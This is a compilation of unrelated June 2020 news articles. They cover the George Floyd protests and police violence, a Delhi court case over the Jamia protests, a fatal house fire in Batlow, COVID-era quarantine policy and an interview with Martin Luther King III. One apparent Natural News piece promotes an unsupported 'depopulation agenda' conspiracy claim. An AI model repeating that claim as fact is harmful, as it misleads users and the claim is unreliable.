Rainbows, whether dark or faint, have always delighted the humankind. Recently, a video of a rainbow forming a complete circle has not only left everybody stunned but also busted the myth about gold at the end of the rainbow. The clip shot from a balcony of a building located next to a beach proves that they arent just arcs in the sky but a complete circle.

Rainbows are circles. pic.twitter.com/ygUByAh1Gu  Wonder of Science (@wonderofscience) June 4, 2020

Read - 'Rainbows Are Circles': Amusing Video Leaves Internet Stunned, Netizens Ask 'no Gold?'

'Pizza mystery'

What locals are calling pizza mystery is a 65-year-old man in Belgium receiving pizzas that he never ordered for nearly ten years and sometimes, even several deliveries a day. Jean Van Landeghem told a German media outlet that it all started nine years ago when suddenly a pizza delivery man handed him multiple pizzas at his home in Turnhout, in the Antwerp province even though he had not ordered anything. After brushing off the first such instance as a simple mistake, the Belgium man has not stopped receiving orders that were not initiated by him including pizzas, kebabs, pittas among other food items.

Read - Belgium: Man Receiving Pizzas He Never Ordered For Nearly A Decade
The Delhi High Court Friday said it will hear next week pleas related to the violence during Jamia Millia Islamia University protests against the Citizenship (amendment) Act (CAA) in December last year.

A bench of Chief Justice D N Patel and Justice Prateek Jalan listed the matter for June 12 after senior advocate Colin Gonsalves and lawyer Sneha Mukherjee, appearing for the petitioner, sought time to file rejoinder to the Delhi Polices affidavit which was submitted on Thursday.

The hearing was conducted through video conferencing as the functioning of courts have been restricted due to the COVID-19 pandemic.

Delhi Police, represented through advocates Amit Mahajan and Rajat Nair, sought dismissal of pleas seeking quashing of FIRs and directions against alleged police brutality in the university during the anti-CAA protests.

It said the petitions were an utter abuse of PIL jurisdiction as the incidents of violence in and around the campus were well-planned and orchestrated attempts by some persons with local support.

One of the petitioners, Nabila Hasan, has sought action against the police for allegedly brutally attacking the petitioners, students and residents of Jamia Millia Islamia. The plea sought against the alleged ruthless, and excessive use of force and aggression unleashed by police and paramilitary forces on students within the university.

Opposing a batch of PILs seeking setting up of a judicial commission to look into the violence, the police has said the claim of police brutality is utter falsehood.

The police has filed the affidavit in response to various petitions, moved by lawyers, students of JMI, residents of Okhla in south Delhi, where university is located and the Imam of Jama Masjid mosque opposite Parliament House, in which they had also sought medical treatment, compensation and interim protection from arrest for the students.

The pleas have also sought registration of FIRs against the erring police officers.

The affidavit filed by Rajesh Deo, Deputy Commissioner of Police, Crime Branch, said exercising fundamental right to dissent should be respected, but no person can be allowed to commit breach of law, indulge in violence, arson and riotous activity causing danger to life, limb and property of innocent citizens under the garb of exercise of fundamental right of free speech and assembly.

Such fundamental rights are not absolute and are liable to reasonable restrictions under the Constitution, it said.

Under the garb of organising a protest, it is completely impermissible for the citizens to create law and order situation and to lay a siege and paralyse the day to day activity of fellow citizens who are completely unconnected with the cause for which protests are organised by a section of the society, it said.

The police said that videos and photographs collected by it show that under the garb of student protest, it was a well-planned and orchestrated attempt by some persons with local support to intentionally perpetrate violence in the area.

It said the evidence showed that there was large scale violence, arson and stone pelting on December 13 and 15, 2019, which resulted in lodging of three FIRs.

Regarding the prayer in the petitions to frame guidelines on use of force to govern the conduct of police personnel in such cases, the affidavit said it is not maintainable and added that due procedure/ standard protocol was followed by the police authorities to control the unruly mob and to maintain law and order in the area.

On the violence incident of December 15, the affidavit has said, police received an input that some former students and other persons will assemble at JMI for protesting the newly acted CAA and NRC and will go to Parliament and the President House.

The investigation revealed that local leaders and politicians were instigating the protestors and were raising extremely provocative and inciting slogans and the gathering had swelled to about 3500. PTI SKV HMP SA
The grieving mother of twin girls who perished in a horrific house fire has revealed she suffered 15 miscarriages before falling pregnant with them.

Aisha and Lailani, three, were laid to rest at Tumut Lawn Cemetery in the Snowy Mountains on Friday morning.

The identical twins' young lives were tragically cut short when their Batlow home caught on fire on May 18 while their mother Tanyka Ford, 29, and brother Dominick, five, were locked outside.

Aisha and Lailani, three, were laid to rest at Tumut Lawn Cemetery in the Snowy Mountains on Friday morning

Tanyka Ford clutched peonies as she sang them one last lullaby, Sarah McLachlans Arms Of An Angel, as her daughters were laid to rest in a pink double casket

Their grief-stricken mother clutched peonies as she sang them one last lullaby, Sarah McLachlans Arms Of An Angel, her voice cracking with emotion, as her daughters were laid to rest in a pink double casket.

'They loved it when I sang to them, the last thing I can do for them is sing them one last lullaby,' she told Daily Telegraph.

Ms Ford continues to struggle to come to terms with the harrowing events of May 18

Speaking publicly for the first time after the horror accident, Ms Ford revealed that she suffered 15 miscarriages before falling pregnant with her 'miracle babies'.

'I was told I could never medically carry,' she said.

'Unless you've been a mother of twins you cannot describe what its like to have two babies kicking away in your stomach at the same time.'

An investigation revealed the girls' had removed a protective grill from the wood fireplace and set light to highly inflammable material in the family home.

The twins had also deadbolted the front door when Ms Ford stepped outside to throw away a pillow which caught alight from a log fire in the front room.

Screaming, she tried to break into the house but the ferocity of the fire had bolted the entrances shut.

Emergency services arrived and eventually forced their way inside the home, but it was too late to save Aisha and Lailani.

The sisters, who reportedly died from smoke inhalation, were found unconscious and holding hands in the front room.

The sisters, who reportedly died from smoke inhalation, were found unconscious and holding hands in the front room

Fire investigators and forensic services at the scene of a house fire, where three year old twins died in the town of Batlow, 440km south west of Sydney

'I've got the scars from when I had them, scars from trying to save them,' Ms Ford said.

Ms Ford constantly questions what else she could have done to save her daughters before they were 'ripped away from me in minutes'.

She said she was living a nightmare that you try to make sense of but just can't figure out as she remembers their smiles, clothes and giggles which keep her up at all times.

Ms Ford's six-year-old son Dominick, broke down in tears as he scattered petals over his sisters' lowered coffin, with relatives gathering to offer comfort.

She now fears how this will impact him and hopes that in time with counselling he will eventually get better.

The girls' uncle Wayne Dubois said he could never make sense of the event that cruelly ripped them away.

Mourners gathered to farewell the twins, wearing pink in honour of their favourite colour.

'They brought so much love into the world, two, beautiful, adventurous little girls; they were mum's angels and dad's spoiled little brats,' celebrant Chris Longhurst told mourners, The Daily Telegraph reports.

'You were growing as a family, and an extended family, this is a heart wrenching time in your lives.'

The girls' uncle Wayne Dubois said he could never make sense of the event that cruelly ripped them away.

'I can never understand  you were my world, your smiles, so sweet and tender, your lives were so short, now all that's left are black and white memories, my little ones, you will never understand how much you meant to us, may you shine among the brightest stars,' he said.

The girls' father Geoffrey Dubois, 28, told his daughters they were the light of his life and would have no idea how much he would miss them.

'My life will never be the same without you, you will be the best angels god has ever received, I will miss you so deeply,' he said, in a eulogy read by the celebrant.

Eric Clapton's Tears in Heaven played as mourners paid their last respects, releasing pink balloons bearing the word princess into the sky.
WASHINGTON - D.C. Mayor Muriel Bowser renamed a street in front of the White House "Black Lives Matter Plaza" and had the slogan painted on the asphalt in massive yellow letters, a pointed salvo in her escalating dispute with President Donald Trump over control of D.C. streets.

City officials said the actions Friday were meant to honor demonstrators who are urging changes in law enforcement practices after the killing of George Floyd, an unarmed black man, in the custody of Minneapolis police.

"There was a dispute this week about whose street it is, and Mayor Bowser wanted to make it abundantly clear whose street it is and honor the peaceful demonstrators who assembled Monday night," said John Falcicchio, the mayor's chief of staff.

For days, Bowser has strongly objected to the escalation of federal law enforcement and the military response to protests and unrest in the nation's capital.

Trump has urged a crackdown on demonstrators, outraged by sporadic cases of looting during protests in Washington and some other cities. He and Attorney General William Barr marshaled a huge influx of federal police and National Guard units to the capital against Bowser's wishes.

On Friday, city workers included a D.C. flag at the end of the display in front of St. John's Church, close to where federal law enforcement forcefully cleared the area of largely peaceful protesters Monday night just before Trump walked over and posed for news cameras, a Bible in his hand.

5 1 of 5 Washington Post photo by Toni Sandys Show More Show Less 2 of 5 Washington Post photo by Toni L. Sandys. Show More Show Less 3 of 5 4 of 5 Washington Post photo by Toni Sandys. Show More Show Less 5 of 5









The art takes up two blocks on 16th Street Northwest, between K and H streets, an iconic promenade directly north of the White House. Local artist Rose Jaffe said she and others joined city work crews to paint the giant slogan, starting before dawn

Shortly after 11 a.m., Bowser, a Democrat, watched silently as a city worker hung a sign at the corner of 16th and H streets that said "Black Lives Matter Plz NW."

Onlookers cheered, and the song "Rise Up" by Andra Day played from speakers.

"In America, you can peacefully assemble," Bowser said in brief remarks to the crowd.

Bah-Pna Dahane, 45, said he was finishing up a run near the White House on Friday morning when he saw the street-painting effort and decided to pitch in. He said he had been a victim of brutal police tactics in New York and knows that change will not happen if people don't act.

"I said: 'You know what? Let's do it. Let's make it happen,' " he said as he painted.

The group Black Lives Matter DC reacted to the street painting with criticism of the mayor, saying she should decrease the budget for the D.C. police and "invest in the community."

Bowser's proposed budget increases funding for traditional policing while cutting spending on programs to reduce violence through community-based intervention initiatives.

Jaffe, one of the local artists who was painting Friday morning, said she, too, would like Bowser to cut funding for the police department. She said she also would like to see officers express more support for protests, which began a week ago in the District.

"I'm conflicted about doing it. It's about wanting to reclaim the streets, but I also know that it is a little bit of a photo op," said Jaffe, a D.C. native. "Where is the action behind this?"

The D.C. Council has put forth several bills to overhaul policing, including a prohibition on using tear gas and a requirement to disclose body camera footage and the name of an officer within three days of a deadly force incident.

Bowser declined to comment on the proposals Friday, saying she had not had a chance to review them. She also acknowledged her tense relationship with local Black Lives Matter activists, who have criticized her handling of police-involved killings in the District.

"They are critical of me, but that doesn't mean that I don't see them and support the things that will make our community safe," Bowser said, "and that we don't all have a larger responsibility in the nation's capital to send that very clear message to our nation."

In a letter Thursday, Bowser formally asked Trump to "withdraw all extraordinary federal law enforcement and military presence from Washington, D.C."

"The deployment of federal law enforcement personnel and equipment are inflaming demonstrators and adding to the grievances of those who, by and large, are peacefully protesting for change and for reforms to the racist and broken systems that are killing Black Americans," Bowser wrote in the letter.

The mayor criticized unidentified federal law enforcement officials for patrolling the streets of her city and operating outside "established chains of commands."

Demonstrations on Wednesday and Thursday night were largely peaceful, and Bowser has lifted a curfew she had imposed earlier in the week. The federal and military presence on the streets had shrunk to almost nothing.

On Friday afternoon, Trump attacked Bowser on Twitter, calling her "incompetent" and accusing her of "fighting with the National Guard."

The president appeared to be referring to a dispute over a hotel that the city government is using to house covid-19 responders.

Bowser said she had no problem with guardsmen staying at D.C. hotels, as long as the U.S. military or their home state - and not the District - foots the bill.

Asked specifically about the president calling her incompetent, Bowser retorted, "You know the thing about the pot and the kettle?"
(Natural News) All of that rioting and looting being shown on the mainstream media is not a product of Black Lives Matter or even Antifa, according to Democrats. No, what you are witnessing is apparently white nationalists trashing city streets, destroying businesses, and beating and killing innocent bystanders.

Even though it is blatantly obvious that certain elements within the Bernie crowd are behind much of the violence and chaos, leftists are attempting to spin the narrative and lob responsibility at so-called white supremacists, who they claim are interfering with these otherwise peaceful protests.

This bizarre claim comes after some of the people who were arrested in the Minneapolis area for rioting, unlawful assembly, stolen property, burglary, and/or robbery were identified as not being from the area. Of the 45 who were taken into custody, six of them had out-of-state addresses, while one did not have an identifiable address at all.

While Minnesota Governor Tim Walz had initially claimed that as many as 80 percent of rioters and looters in the Twin Cities are from out of state, it actually turns out that most of them are, in fact, in-state residents.

Now that this has come out, Minneapolis Mayor Jacob Frey is also changing his tune and blaming foreign actors supposedly not on the left, rather than the unidentified outsiders he had blamed previously.

We are now confronting white supremacists, members of organized crime, out of state instigators, and possibly even foreign actors to destroy and destabilize our city and our region, Frey tweeted, issuing a clear dog whistle against his political opponents.

Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, talks about how the Wuhan coronavirus (COVID-19) pandemic and the new wave of rioting and looting both intersect as part of a much bigger depopulation agenda:

Why cant the left ever take responsibility for its actions?

To suggest that white people on the far-right are somehow the ones vandalizing businesses and violently attacking business owners and others they encounter on the streets is laughable. But this is the new Democratic narrative to deflect from the total anarchy being propagated by obvious far-leftists.

While it would also be remiss to blame all leftists for this violence, seeing as how many of them really are just there to march with protest signs and make their voices heard, the likelihood that white conservatives are behind any of it really is slim to none.

This was further reiterated by Adam Leggat, a former British Army counterterrorism officer who now works as a security consultant in crowd control. Based on intelligence reports compiled by his colleagues, most of the hard-core protesters in Minneapolis were either far-left activists or full-on anarchists.

On the other hand, far-right groups have not yet made a significant appearance, reports indicate, completely debunking the myth now being spread by Democrat politicians that conservatives are responsible for destroying Americas cities.

The real hard-core guys, this is their job, Leggat is quoted as saying. Theyre involved in this struggle, (and) they need protests on the street to give them cover to move in.

Leggat also contends that contrary to claims being made by even some conservative-leaning news outlets that most of the people wreaking havoc are from out of town, the vast majority of the looting that is taking place is being done by locals.

Interestingly, Leggat also claims that many of the people looting do not necessarily have past criminal records and are merely getting caught up in the moment. They see an opportunity for free stuff and they go for it, which is why they spiral out of control so quickly.

To keep up with the latest news about civil unrest throughout our country, be sure to check out Collapse.news.

Sources for this article include:

ZeroHedge.com

NaturalNews.com
Click here to read the full article.

A group of Estee Lauder Cos. Inc. employees is asking to remove Ronald Lauder, a son of founder Estee, from the companys board because of his support for President Trump.

The petition says during his time on the board, Lauder has donated at least $1.75 million in support of Trump, which stands in contrast to the companys commitment to donate $1 million in the interests of the black community. This total does not match, or exceed Ronald Lauders personal donations in support of state-sanctioned violence, the petition said.

The letter is now on change.org, and had more than 1,200 signatures as of Friday morning.

The petition also asks that Lauder up its financial commitment to the black community, from the $1 million the company has committed, to $5 million.

Even with a decrease caused by the coronavirus, Lauder posted $3.35 billion in net sales in its most recent quarter.

In response to the petition, the beauty group issued a statement, saying: Our employees are the heart and soul of this company. This week, several employees asked whether a single member of the Lauder family and our board represents the views of our company. The answer is no. While we respect everyones right to make their own political decisions, no single individual represents the views of our company. As a company, we stand firm on the values in which we were founded: respect, equality and inclusion.

Internally, the company has circulated several letters, including a May 29 memo from its diversity counsel that acknowledged what is happening now in black communities is causing considerable pain for many of our employees. A separate note, circulated May 30 from Chris Good, president of North America for Lauder, condemned actions rooted in bigotry and violence and said stores would only open where staff safety could be ensured.

Story continues

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Metro Manila (CNN Philippines, June 5)  Returning overseas Filipino workers whose homes are outside Metro Manila should not stay beyond five days in the capital region, according to the head of the COVID-19 national task force.

It could be less, but the maximum is five days, Defense Secretary Delfin Lorenzana told President Rodrigo Duterte in a meeting that was aired over state-run People's Television Network on Friday.

He said they have a system in place for an orderly evacuation of 42,000 overseas workers this month to avoid a repeat of prolonged periods of quarantine due to delays in COVID-19 testing.

At least 24,000 OFWs suffered this ordeal, with some forced to stay for over a month in quarantine facilities in the metropolis.

Lorenzana added they plan to limit the number of OFW arrivals at 1,200 per day, which may go up to 2,000 if circumstances allow it.

On Monday, the Philippine Coast Guard said that all returning OFWs will undergo mandatory quarantine in any quarantine site or hotel accredited by the Bureau of Quarantine, until they receive their test results proving that they are not infected with COVID-19.

Lorenzana assured the timely release of test results as he asserted there are 'enough' health facilities in Metro Manila that are accredited to conduct coronavirus testing.
Cops across America have been caught on camera violently attacking and threatening peaceful protesters who have taken to the streets demanding justice for George Floyd and calling for an end to police brutality and racism.

Shocking footage has been circulated on social media of multiple incidents involving law enforcement in Los Angeles - almost 30 years on from the 1992 riots when the city erupted after LAPD cops savagely beat up African-American man Rodney King.

But mayors across the country have said police officers won't be immediately fired, despite the shocking videos.

Philadelphia Mayor Jim Kenney and Police Chief Danielle Outlaw brushed off the aggression as 'a last resort'.

And Fort Lauderdale mayor Dean Trantalis said he had no power to fire officers, insisting the power lay with the city manager. City Manager Chris Lagerbloom told USA Today that he could not fire any officer until after an investigation.

Salt Lake City Mayor Erin Mendenhall has also declined to fire officers, saying: 'I have faith in the systems we have that the right outcomes will happen'.

LA: Group of cops surround a woman lying on the ground and repeatedly taser her as onlookers beg them to stop

In Los Angeles, where outrage over police brutality sparked the 1992 riots, shocking footage emerged of at least eight LAPD officers surrounding a woman lying on the ground of a Hollywood street and repeatedly tasering her as onlookers beg them to stop.

The video, taken by someone out of a window across the street, shows the group of officers around the woman as the sound of a taser is heard multiple times.

Several officers have her pinned to the ground while a number of others are stood casually around watching the scene.

LA: At least eight LAPD officers surrounding a woman lying on the ground of a Hollywood street and repeatedly tasering her as onlookers beg them to stop

LA: The video, taken by someone out of a window across the street, shows the group of officers around the woman as the sound of a taser is heard multiple times

'Oh my god, they're all on her - they're all tasering her,' one of the onlookers is heard saying behind the camera as the taser goes off.

Voices of a man and woman from behind the camera catching the aerial footage then start screaming at the cops to 'stop' and say 'we're watching you'.

Screams are also heard coming from other onlookers to 'stop' and saying 'we see you'.

The taser is heard again being used on the woman as she lies on the ground.

LA: Cop opens fire with rubber bullets on unarmed teenagers as they walk down a neighborhood street

Other shocking footage shows a cop lean out of a car to open fire with rubber bullets on a group of unarmed teenagers.

The cop cruiser is seen driving slowly along a neighborhood toward a group of teenagers who are strolling along the street.

The vehicle manoeuvres so that the passenger side of the car is facing the group as an officer leans his arm out the window and points a gun directly at the teens.

LA: Shocking footage shows a cop lean out of a car to open fire with rubber bullets on a group of unarmed teenagers

LA: The vehicle manoeuvres so that the passenger side of the car is facing the group as an officer leans his arm out the window and points a gun directly at the teens and opens fire, with the teens running for cover down the street

The terrified group turn and start running back down the street as the cop opens fire, shooting them with rubber bullets as they flee.

The cruiser then turns and heads in the direction of chasing them.

According to an eyewitness account on social media, the group were 'unarmed law abiding teenagers in Hollywood' and one of the teens was hit by a bullet in the back of the leg.

The incident reportedly took place on Monday at 7:35p.m. on Mansfield and Higman Avenue between Fountain and Delongpre - before any curfew in the area.

LA: A man was held at gunpoint and arrested as he walked home from work after curfew

A man was held at gunpoint and left begging cops not to shoot as he was arrested walking home from work after curfew.

During the arrest, streamed on Facebook Live, a police radio can be heard in the background instructing cops to just 'take someone into custody'.

The man, wearing a face mask, is livestreaming footage captioned 'After curfew - trying to get home' as he walks down Hollywood Boulevard, reportedly on his way home from work.

'Keep walking coz the cops are coming... We want to be away from here so they don't attack us,' the man says to the camera, before he points across the street and says 'there's the looting'.

LA: The man, wearing a face mask, is livestreaming footage captioned 'After curfew - trying to get home' as he walks down Hollywood Boulevard, reportedly on his way home from work

LA: He then cowers to the ground and the tip of a gun barrel is seen in the image pointing toward him

As cops pull in and sirens are heard, the man is heard telling officers: 'We're going home.'

He then cowers to the ground and the tip of a gun barrel is seen in the image pointing toward him.

The man starts screaming fearfully: 'Stop I didn't do anything. I didn't do anything. I'm sorry I swear.'

As the man begs the cops holding him at gunpoint to stop an officer is heard telling him to 'Shut the f*** up' and 'Hands behind your back' as they arrest him.

In the background a police radio can be heard instructing officers to arrest anyone they see.

'[inaudible] riding past anyone, stop where you are and take someone into custody,' the voice over the radio is heard saying.

LA: Black man lying face down on the ground is punched and kneed by cops in Compton

Horrific footage showed a black man lying face down on the ground during an arrest being violently punched and kneed by cops in Compton.

In the video, released by KTLA, the man later identified as Dalvin Price is lying on the ground with two cops pinning him down.

The cops start shoving him aggressively as Price shouts 'I'm on the ground'.

LA: Horrific footage showed a black man lying face down on the ground during an arrest being violently punched and kneed by cops in Compton

LA: In the video, the man later identified as Dalvin Price is lying on the ground with two cops pinning him down

A third officer then runs over and starts repeatedly kneeing Price in the side at least five times while one of the cops on top of Price lays at least one punch on him.

The video of the violent arrest has sparked outrage and an investigation has been launched into the use of force by the officers.

Compton Mayor Aja Brown slammed the 'vicious beating' and demanded the investigation be completed within two weeks.

'While the young man is on the ground, he is repeatedly heard saying, 'I'm on the ground,'' she said.

'Nonetheless, the vicious beating continues until they discover they are being observed by a young woman filming the incident.'

'We will not tolerate the willful violation of rights in our community by the hand of anyone, including law enforcement,' Brown said.

Houston: Cop uses his police horse to trample over a peaceful protester

In Houston, Texas - where Floyd grew up - horrifying footage has shown a peaceful protester being trampled in the street by a police horse.

The incident took place during a march for Floyd near police headquarters in the city Friday afternoon.

In the video, the woman walks into the road where protesters and other police horses are gathered.

She has both hands clutching a banner for the protest.

A mounted officer on a police horse then comes up behind her and plows directly into her knocking her to the ground and the horse trampling on the woman's body.

She manages to get to her feet with the help of other demonstrators as people scream and shout and start throwing things at the cops.

Houston police said they are investigating the incident and Mayor Sylvester Turner apologized to the woman involved on Twitter.

Houston: Horrifying footage has shown a peaceful protester being trampled in the street by a police horse

Houston: The woman was holding a banner while the mounted police plowed into her and trampled her

'What happened with mounted patrol should not have happened and for that please accept my apology,' he tweeted.

'We are taking a look on how we can better deploy our resources to keep that from happening again so you or anyone else can exercise your Constitutional right and we can maintain the peace.'

However, Houston Police Officers Union Vice President Doug Griffith defended the cop's actions and blamed the protester, saying the cop had blown his whistle before plowing into her.

'The whistle is to warms (sic) people,' Griffith wrote on Twitter.

'If you don't pay attention, then that's on your (sic)!'

Indianapolis: Investigation is launched after a group of cops were seen using batons and pepper balls at close range to detain a woman

Indianapolis police have launched an internal investigation after a group of cops were seen using batons and pepper balls at close range to violently detain a woman Sunday night.

The horrifying footage, widely shared on social media, shows two women being detained by officers.

One of the women, who is black, is seen trying to wriggle out of the grasp of a white cop - with one eyewitness writing on a Twitter post that the cop had been 'groping' her.

Indianapolis: Police have launched an internal investigation after a group a group of cops were seen using batons and pepper balls at close range to violently detain a woman Sunday night

Indianapolis: The woman stands still and does not put up a fight or struggle while the two cops keep beating her with their batons and then pin her to the ground by her head

As she tries to loosen the cop's hold on her, pepper balls are fired at her at close range by another officer and two cops start beating her with batons.

The woman stands still and does not put up a fight or struggle while the two cops keep beating her with their batons.

They scream at her to 'get on the ground' while she crouches down on the floor.

One cop then aggressively pushes her forward and pins her to the floor with a baton held into her head.

A second woman, who is white, was heard screaming 'Why her? Why her?' before she is also forcefully pushed to the ground and detained by cops.

The Indianapolis Metropolitan Police Department said it has launched in investigation into the actions of officers in the video.

New York: Two Buffalo cops shove a 75-year-old man who cracked his head on the sidewalk and is in hospital in a serious condition

Fifty seven officers have resigned from their positions on Buffalo Police Emergency Response Team in 'disgust' over the treatment of two cops who were suspended without pay after they were filmed shoving a 75-year-old peace activist to the ground and causing him to crack open his head.

The two officers are under criminal investigation after footage captured them shoving the elderly man, identified as Martin Gugino, and leaving him with critical injuries in an incident in front of Buffalo's City Hall on Thursday night.

Gugino, a longtime peace activist from Amherst, is in a serious but stable condition at Erie County Medical Center following the altercation with the officers, which left him lying in a pool of his own blood on the sidewalk.

Earlier today, New York Governor Andrew Cuomo called for criminal charges to be made against the officers.

In his daily press briefing Friday morning, Cuomo played the shocking footage which he said made him feel 'physically sick' in the same way the horrifying state death toll from the coronavirus pandemic has hit him over the last 90 days.

'I was sick to my stomach... it was the same feeling I had for 90 of the past nights when I got the death tolls for coronavirus. I was physically sick to my stomach,' he said.

The governor called for the city to fire and charge the two cops responsible for the attack on the elderly man and urged authorities to move quickly.

The shocking footage shows the elderly man approaching a line of officers in riot gear outside city hall after the city's 8pm curfew on Thursday.

As the man tries to speak to the officers, they begin shouting at him to move along, before one of them pushes him with a baton and a second cop shoves him with his hand.

The elderly man is then seen staggering before falling back and hitting his head on the sidewalk.

New York: An elderly man was seen approaching Buffalo police officers in riot gear outside of City Hall on Thursday

New York: The man is shoved to the ground by cops and hits his head

The sound of a crack is heard and then blood is seen trickling from his head.

Most cops continue to walk past ignoring the man lying motionless on the ground.

The cop who pushed him with a baton pauses to lean over, before he is motioned away by another officer and then someone is hard calling for a medic.

The man was taken to the hospital where he was in a serious but stable condition, Buffalo Mayor Byron Brown said.

New York: The sound of a crack is heard on the video before blood is seen trickling out of the man's head

Buffalo Police initially released a statement saying a person 'was injured when he tripped & fell.'

The two cops are now under investigation.

Mayor Brown said he was 'deeply disturbed by the video.'

'Tonight, after a physical altercation between two separate groups of protesters participating in an illegal demonstration beyond the curfew, two Buffalo Police officers knocked down a 75-year-old man. The victim is in stable but serious condition at ECMC,' he said.

'After days of peaceful protests and several meetings between myself, police leadership and members of the community, tonight's event is disheartening.'

New York NYPD cops are heard on police scanner being urged to shoot and run over peaceful demonstrators

The NYPD is reviewing two incidents captured on police scanners across the city that appear to have officers sanctioning violence against demonstrators.

One message was about protesters who had marched to the77th Precinct in Brooklyn, surrounding the building. An officer is believed to have called in the report at around 5.20pm, Gothamist reports.

'There's a group headed the 77th Precinct there's a group, may be heading towards there please,' an officer reports.

Another voice quickly responds: 'Shoot those motherf*****s.'

'Don't put that over the air,' another officer can be heard responding.

Another incident, captured shortly before 7pm, has what sounds like an officer describing being surrounded in traffic near the intersection of Albany and Dean Street in Crown Heights.

'Central, we have a group of people blocking traffic on Albany and Dean street,' one officer states. 'They're refusing to... go eastbound on Dean Street and Albany, so we're stuck here.'

'Run them over,' a voice responds.

It is unclear whether they are actually NYPD officers making comments on the scanner.

Florida: Cops open fire on protesters after they ask 'why are you shooting at us?'

Cops in Tampa were caught on camera opening fire on a group of protesters right after they asked them 'why are you shooting at us?'

In social media footage, protesters are seen linking arms as they face a wall of cops in the distance.

Over a loudspeaker a man is heard saying 'why are you shooting at us?' while the rest of the crowd is heard chanting George Floyd's name.

Tampa: Cops in Tampa were caught on camera opening fire on a group of protesters right after they asked them 'why are you shooting at us?'

Tampa: Screams ring out and protesters are seen desperately running away from officers with their banners still held in their hands as cops open fire on their peaceful protest

Moments after they ask police about shooting them, shots are heard as cops open fire into the crowd - presumably with rubber bullets.

Screams ring out and protesters are seen desperately running away from officers with their banners still held in their hands.

Other shocking footage shows an officer move towards the crowd who are stood still to spray pepper gas directly into the faces of peaceful protesters.

In separate footage, a medic tells the camera that he was shot at while 'providing aid' despite the massive sign on his back reading 'Don't shoot EMS'.

Nebraska: Protesters sitting and kneeling in protest over Floyd's death are kicked and hit by bullets

Over in Nebraska, protesters were kicked by cops and struck by rubber bullets as they sat on the ground and took a knee in honor of Floyd.

The shocking video taken in Omaha reveals a group of protesters sat in a line, peacefully holding up signs as they are faced by a wall of cops in riot gear.

The cops move forward wielding their batons before kicking over some of the protesters and firing rubber bullets at them from close range.

The terrified protesters are left defending themselves with nothing but their homemade banners - with slogans calling for an end to police brutality.

Nebraska: A shocking video taken in Omaha reveals a group of protesters sat in a line, peacefully holding up signs as they are faced by a wall of cops in riot gear

Nebraska: The cops move forward wielding their batons before kicking over some of the protesters and firing rubber bullets at them from close range

Nebraska: The terrified protesters are left defending themselves with nothing but their homemade banners - with slogans calling for an end to police brutality

California: Cops use riot shields as battering rams to shove protesters sitting peacefully on the ground

In California, cops in full riot gear were caught on camera using their riot shields as battering rams to shove protesters sitting peacefully on the ground.

In the footage, shot through the window of a restaurant, the officers are seen running along the road to small group of around five protesters who are crouched on the ground with their arms around each other in a huddle.

The officers are seen approaching the group, before they use their shields to batter the protesters, pushing them down to the ground.

Denver: Protester has his chin shot off by a rubber bullet at a demonstration in Colorado

WARNING: GRAPHIC CONTENT

A graphic video posted on TikTok shows a black protester who had part of his chin shot off by a rubber bullet fired by cops at a demonstration in Colorado.

In the shocking video, the man's chin is seen dangling off his face and the front of his black jumper is soaked in his blood.

A person is heard asking 'are you ok bro?'

The man answers 'F** that s**' as the camera zooms in on the gaping hole left in his face.

According to the post on social media, the man was protesting peacefully when he was shot directly in the chin.
Martin Luther King III, son of the Rev. Martin Luther King Jr., at the annual Martin Luther King Jr. Day breakfast hosted by the Rev. Al Sharpton and the National Action Network at the Mayflower Hotel in Washington, DC, January 21, 2019.

REUTERS/Allison Shelley

Martin Luther King III, the son of Martin Luther King Jr., has followed in his father's footsteps to become an activist.

During the protests following last week's killing of George Floyd, King has spoken out about inequity and the problems with American policing.

In an interview with Business Insider by phone on Tuesday, King talked about the importance of voting and how business leaders can step up to support the black community.

Visit Business Insider's homepage for more stories.

Martin Luther King III was 10 years old when his father was assassinated while supporting protesting black sanitation workers in Memphis, Tennessee.

More than 50 years later, King has become an activist in his own right. Now, as America faces a national reckoning on racism amid growing social unrest following the killing of George Floyd, King reflected on his father's legacy and what today's protesters can do to bring about the kind of sweeping policy changes enacted after the marches of the civil-rights movement in the 1960s.

This interview has been edited for length and clarity.

The pandemic helped create an 'explosive' set of circumstances for black Americans

Business Insider: This isn't the first time a black person has been murdered by a police officer. Why do you think this one has elicited such a large reaction from the American public?

Martin Luther King III: When people lose their jobs  40 million people are, for the first time in our country, seeking unemployment funding. With that large number of persons, there's beyond  "frustration" is not the right word  I don't even know how you define it. It's a period that most of us have never seen. For many Americans, this is the first time that we've experienced a stoppage of work, a transition in our lives, feelings of not knowing how you're going to eat next week or how you're going to pay any of your bills.

Story continues

Although the nation is attempting to move back to work, it's just difficult to think about. How do we recover? So under all of that already taking place, you have several tragic murders of black men, and a black woman in Louisville, Kentucky  Breonna Taylor. There's a saying that there is a straw that breaks the camel's back, and I think that the fact of the matter is that because of technology people have seen these incidents and enough is enough.

Dr. King condemned riots, but called them 'the language of the unheard'

Demonstrators protesting against police brutality and the killing of George Floyd.

AP Photo/David Zalubowski

Business Insider: How have these circumstances shaped how protests are playing out?

King: "People have the right to protest for rights" is what my father used to say. And that's what people are protesting, the treatment of human beings, the inhumane treatment of human beings. That is what I think we're seeing for the most part, and unfortunately some of it has manifested into violence and looting and burning.

The thing I will say for now is, it is so tragic that people would resort to looting and burning. But a building can be replaced. Clothing and those items can be replaced. How do you replace the life of a human being? You cannot.

A building could be restructured, can be redone. This should not happen. I'm not advocating for that or saying "Yes, this is the solution." I'm just saying that, at least with buildings, we can rebuild. You can restructure, you can acquire new things. What you cannot bring back is human life.

George Floyd.

Courtesy of Philonise Floyd

Businesses should be more vocal  and use their resources to create tangible solutions

Business Insider: The sheer number of private companies that have posted messages on social media and have made statements about the unrest has been striking. What do you want to see from our business leaders in this moment?

King: I think business often is able to speak with a resounding voice and has tremendous influence. So if business came out and condemned what happened in Minnesota, and maybe some individuals have, some people have  but this should've happened quite a while back. I think that all of these issues are issues that we can resolve.

There's nothing off the table, including racism. We have to have the ability to resolve them. We just have not focused on the will. When ability and will come together, there is almost nothing that cannot be achieved. There's nothing on the table that there's not a resolution to in this country that we call our home, in my personal point of view. But I would like business to be more vocal.

Economic inequality is at the heart of the crisis

Business Insider: What exactly would you like to be done differently going forward?

King: My father used to talk about the eradication of poverty, racism, and, he said, militarism  and I sort of modified it to "violence"  which he called "the triple evils." My mom used them too. When our society is able to reduce and eradicate those triple evils, a lot of things will subside. We will have a much better, more just and humane society.

